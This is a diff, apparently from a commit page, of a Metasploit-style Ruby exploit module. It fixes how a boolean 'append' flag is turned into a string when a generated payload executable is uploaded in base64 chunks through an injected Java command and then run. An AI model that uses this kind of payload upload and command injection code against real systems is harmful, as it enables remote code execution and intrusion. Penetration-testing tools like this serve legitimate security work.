@@ -108,7 +108,7 @@ def exploit
108
108
#Set up generic values.
109
109
@payload_exe = rand_text_alphanumeric ( 4 +rand ( 4 ) )
110
110
pl_exe = generate_payload_exe
111
- append = ' false'
111
+ append = false
112
112
#Now arch specific...
113
113
case target [ 'Platform' ]
114
114
when 'linux'
@@ -138,7 +138,8 @@ def exploit
138
138
# Now with all the arch specific stuff set, perform the upload.
139
139
# Need to calculate amount to allocate for non-dynamic parts of the URL.
140
140
# Fixed strings are tokens used for substitutions.
141
- sub_from_chunk = append . length + ( @java_upload_part_cmd . length - "FILENAME" . length - "APPEND" . length - "BUFFER" . length )
141
+ append_length = append ? "true" . length : "false" . length # Gets around the boolean/string issue
142
+ sub_from_chunk = append_length + ( @java_upload_part_cmd . length - "FILENAME" . length - "APPEND" . length - "BUFFER" . length )
142
143
sub_from_chunk += ( @inject . length - "CMD" . length ) + @payload_exe . length + normalize_uri ( target_uri . path ) . length + datastore [ 'PARAMETER' ] . length
143
144
case datastore [ 'HTTPMETHOD' ]
144
145
when 'GET'
@@ -162,8 +163,9 @@ def exploit
162
163
register_files_for_cleanup ( @payload_exe )
163
164
end
164
165
165
- def java_upload_part ( part , filename , append = ' false' )
166
+ def java_upload_part ( part , filename , append = false )
166
167
cmd = @java_upload_part_cmd . gsub ( /FILENAME/ , filename )
168
+ append = append ? "true" : "false" # converted for the string replacement.
167
169
cmd = cmd . gsub! ( /APPEND/ , append )
168
170
cmd = cmd . gsub! ( /BUFFER/ , Rex ::Text . encode_base64 ( part ) )
169
171
execute_command ( cmd )
0 commit comments